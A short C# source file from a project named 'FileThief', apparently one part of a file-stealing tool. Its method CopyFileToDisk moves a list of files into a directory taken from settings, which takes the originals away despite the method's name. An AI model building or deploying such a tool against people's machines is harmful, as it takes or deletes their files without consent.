﻿using System.Collections.Generic;
using System.IO;

namespace FileThief
{
    class Copy
    {          
        public void CopyFileToDisk(List<FileInfo> fileList)
        {
            if (fileList == null || fileList.Count == 0)
                return;

            if (!Directory.Exists(Settings.GetSettings().copy.DiskTargetPath))
                Directory.CreateDirectory(Settings.GetSettings().copy.DiskTargetPath);

            foreach (FileInfo fi in fileList)
            {
                fi.MoveTo(Settings.GetSettings().copy.DiskTargetPath + fi.Name);
            }    
            

        }
    }
}
